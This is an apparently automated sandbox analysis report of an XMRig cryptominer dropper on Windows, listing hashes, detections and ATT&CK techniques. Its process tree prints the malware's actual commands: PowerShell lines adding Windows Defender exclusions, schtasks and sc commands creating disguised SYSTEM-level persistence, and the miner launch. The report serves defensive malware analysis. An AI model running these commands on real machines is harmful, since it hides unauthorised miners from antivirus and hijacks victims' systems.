xmrig | 7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5

Analysis

max time kernel
7s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/07/2026, 10:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5.exe
Size 3.7MB
Sample260708-mazamaet2w
SHA256 7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5
MD5 714b424d44c941220c8d30c9b72ea060
SHA1 98fe8a8e4f821ab86c7565181f83af7e78077e8f
SHA512 14d94e3914d90bdd9b1a2d75dae0f9a564ad100c2d6bf14d7398ad87eb27bb6924c03c25fec6d9a6243fb9c5715feca1f85b33569152ac2d0561342d3e5c821e
SSDEEP 49152:MTyp1pnxv805K7wcpBTAKWmmvn/mroqB0ojr+LTgoYMLvSD3SPKmGm/lwl:/xEhDjMKWErHBRrgTgoRvMiPvN
TLSH
T13706CF07BCD119F5C0AEA2328A6696927A71BC481F3223D73E50B37C2F72BD46A35754
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c51f-88.dat	family_xmrig
behavioral2/files/0x000d00000001c51f-88.dat	xmrig
behavioral2/memory/3808-110-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-109-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-112-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-113-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-114-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-115-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-123-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-125-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-130-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-136-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-138-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig
behavioral2/memory/3808-140-0x00007FF6EECE0000-0x00007FF6EF6D6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5228	powershell.exe
3724	powershell.exe
6096	powershell.exe
4652	powershell.exe
2580	powershell.exe
260	powershell.exe
560	powershell.exe
4892	powershell.exe
1688	powershell.exe
5924	powershell.exe
5880	powershell.exe
3416	powershell.exe
1824	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
4644	.vaultd-119255193

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2864	sc.exe
3440	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2864	sc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2148	schtasks.exe
944	schtasks.exe
2980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4652	powershell.exe
4652	powershell.exe
5924	powershell.exe
5924	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeIncreaseQuotaPrivilege	4652	powershell.exe
Token: SeSecurityPrivilege	4652	powershell.exe
Token: SeTakeOwnershipPrivilege	4652	powershell.exe
Token: SeLoadDriverPrivilege	4652	powershell.exe
Token: SeSystemProfilePrivilege	4652	powershell.exe
Token: SeSystemtimePrivilege	4652	powershell.exe
Token: SeProfSingleProcessPrivilege	4652	powershell.exe
Token: SeIncBasePriorityPrivilege	4652	powershell.exe
Token: SeCreatePagefilePrivilege	4652	powershell.exe
Token: SeBackupPrivilege	4652	powershell.exe
Token: SeRestorePrivilege	4652	powershell.exe
Token: SeShutdownPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeSystemEnvironmentPrivilege	4652	powershell.exe
Token: SeRemoteShutdownPrivilege	4652	powershell.exe
Token: SeUndockPrivilege	4652	powershell.exe
Token: SeManageVolumePrivilege	4652	powershell.exe
Token: 33	4652	powershell.exe
Token: 34	4652	powershell.exe
Token: 35	4652	powershell.exe
Token: 36	4652	powershell.exe
Token: SeDebugPrivilege	5924	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 4644	2828	7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5.exe	88
PID 4644 wrote to memory of 4652	4644	.vaultd-119255193	89
PID 4644 wrote to memory of 5924	4644	.vaultd-119255193	92

C:\Users\Admin\AppData\Local\Temp\7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5.exe
"C:\Users\Admin\AppData\Local\Temp\7a40eaf9a5e94d3fdfdfcc45b743d89ca7fb0e383cddf54f041d3ee4835736c5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Users\Admin\AppData\Local\Temp\.vaultd-119255193
  C:\Users\Admin\AppData\Local\Temp\.vaultd-119255193
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5228
- - C:\ProgramData\MiningApp\netsvcs\vltrig.exe
    C:\ProgramData\MiningApp\netsvcs\vltrig.exe --config=C:\ProgramData\MiningApp\netsvcs\config.json
    3⤵
    PID:3808
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelper /sc onstart /ru SYSTEM /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2980
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperLogon /sc onlogon /ru SYSTEM /tr "\"C:\ProgramData\MiningBackup\RuntimeBroker.exe\" --guard" /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2148
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn WindowsNetworkHelperUser /sc onlogon /tr "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:944
- - C:\Windows\system32\sc.exe
    sc create systemd-networkd-helper binPath= "\"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe\" --guard" start= auto depend= Themes/EventLog obj= LocalSystem
    3⤵
    - Launches sc.exe
    - System Time Discovery
    PID:2864
- - C:\Windows\system32\sc.exe
    sc start systemd-networkd-helper
    3⤵
    - Launches sc.exe
    PID:3440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:560

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe"
1⤵
PID:5552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1688

C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe
"C:\ProgramData\MiningApp\netsvcs\RuntimeBroker.exe" --guard
1⤵
PID:4708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 219B
SHA256 0ef65da249acd55f1bb81ae361e1c29756e36a63537f33dae1a7acc3a5d6b578
MD5 c5cf14f83036f826c3f78a0cf7726ae6
SHA1 2b6cce8477f2df24f697675436bf98cef0989b10
SHA512 5827f95946efd369fda02b912f5173d24e0b6647e2097e355e69a03680f36c5c3d33aa5358cac28651f64b2cc2d22569a5f904f165e964f3f0a082553eb4fa83
TLSH
T1FFD0A7140A750510BD4300C2C20589319745F0A7230D4636377D1389A3114CFEFB50D2
MD5 SHA1 SHA512 TLSH

Submit Download

.guard.log

Path C:\ProgramData\MiningApp\netsvcs\.guard.log
Size 299B
SHA256 8023a9c512ab693c1b0ffc5c770d16ab565a23c49839e9793786623a3d02dac2
MD5 8b1db73262166eea26b00a8194fc2793
SHA1 901397cb6387dbf908e385fa541c72b8e4349dbe
SHA512 2df7773b473e949ab96bbcc3f8b9960d8a60d78f73dafc81f490f3bc23974c07eb74b33438a4f692bc7dc48d9dfd4700fca1eddafedaf198364d797ef8535c5b
TLSH
T162E0C2240AF90114BE9340D3C6028972D785F4A7230D4B3937BD238993118CFEF750E1
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path C:\ProgramData\MiningApp\netsvcs\config.json
Size 545B
SHA256 3ee63bb33a2a3724c6c4a0a3d97d1083be938449958ef9701a8c9a27201fa08b
MD5 eefd3db396a8e165e263488c956199c2
SHA1 f6784327d018ae129f5f8331348b78fa90b32a26
SHA512 c67b0b4aa59c9aba2934ffbf305ee25d0b41556a6581c1436482e8ee0e10fb8f853f146fd449b7cc4d1c5b2b9255847f39d8de270504f5003062de03f72d2b40
TLSH
T15EF08B24D9744C7F51E9303C15AE718313A44D931A643D20764F421C3F4EA2DA5F6698
MD5 SHA1 SHA512 TLSH

Submit Download

vltrig.exe

Path C:\ProgramData\MiningApp\netsvcs\vltrig.exe
Size 9.2MB
SHA256 f66f7c04361a1999bbd474726e208199ba0a3044e9b7f86f553627c6a31aeb16
MD5 10d0b9e0827fcfb06f6ee1024b766d59
SHA1 2eb93c8b67fe33aac6be479a3cfe1e93de4a0ced
SHA512 90201b16c8a9138acd7d382f81f69d5f4cbe76176f97d97b8193fef35a468127dd5c3f5b14912fd1aedcb44cc81c697633a1253f45b9e383b27c1fc3c6869c6c
SSDEEP 98304:FWhSleIUmxm7SEl779Y3DxfaBvxWqhjHEOGltuy6jln2Vf24n6Y+soJ450q+:1lUmxT+lkE4nzeJG
TLSH
T147A67C67E1A710ECC66BC1708257A772FA31B85801347E7F2A90DBB12F61E505F6EB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 675b8d3b188453da4ca673eee6496d4cfd9cb62cd62c97da8816328cd3b28aec
MD5 23ae5c9595630cb133f8fc704ee81f0c
SHA1 8cb91a1ba149bc7a3b981d5732bb68b0d41cd56e
SHA512 97dd8893f1fa065ccfb456c7e68158fbb4ee51dfdb6d9fef2ea77f097717f0f0f12a018ac9c42898a6d603d208108969a26c04c5d868be99dd5fb33b22eca25d
SSDEEP 1536:TKLg07Yo2hk6vffKQVAflJdpHYvh4iUxpR40i71YigMQyPRWrxMV3CNBQkj2Va5E:TKLg07Yo2hk6vffKQVAflJd9YvqiUpR2
TLSH
T155636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download